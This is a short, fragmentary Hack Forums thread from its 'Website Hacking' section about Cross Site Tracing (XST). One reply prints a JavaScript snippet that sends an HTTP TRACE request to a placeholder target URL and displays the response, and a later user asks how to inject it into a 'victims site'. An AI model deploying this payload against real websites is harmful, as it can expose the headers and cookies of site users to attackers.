Hack Forums
[Tutorial by Zykl0n B] XST : Cross Site Tracing - Fully Detailed - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [Tutorial by Zykl0n B] XST : Cross Site Tracing - Fully Detailed (/showthread.php?tid=2952263)

Pages: Pages 1 2 3


* - Puller - Jul 22, 2013

I hope you know you grave digged a thread from 2012.


RE: [Tutorial by Zykl0n B] XST : Cross Site Tracing - Fully Detailed - Katalyst Dre - Sep 5, 2019

The goal is here to enter an XST script (=request) in a webpage of a target as a POST method.
Here is an example which can be used :

Code
<script type=”text/javascript”>
[b][b]<!--[/b][/b]
function sendTrace () {
   var xmlHttp = new ActiveXObject(“Microsoft.XMLHTTP”);
   xmlHttp.open(“TRACE”, “INSERT_YOUR_URL_HERE”,false);
   xmlHttp.send();
   xmlDoc=xmlHttp.responseText;
   alert(xmlDoc);
}
//-->
</script>
<INPUT TYPE=BUTTON OnClick=”sendTrace();” VALUE=”Send Trace Request”>




How do I enter the XST script into the victims site?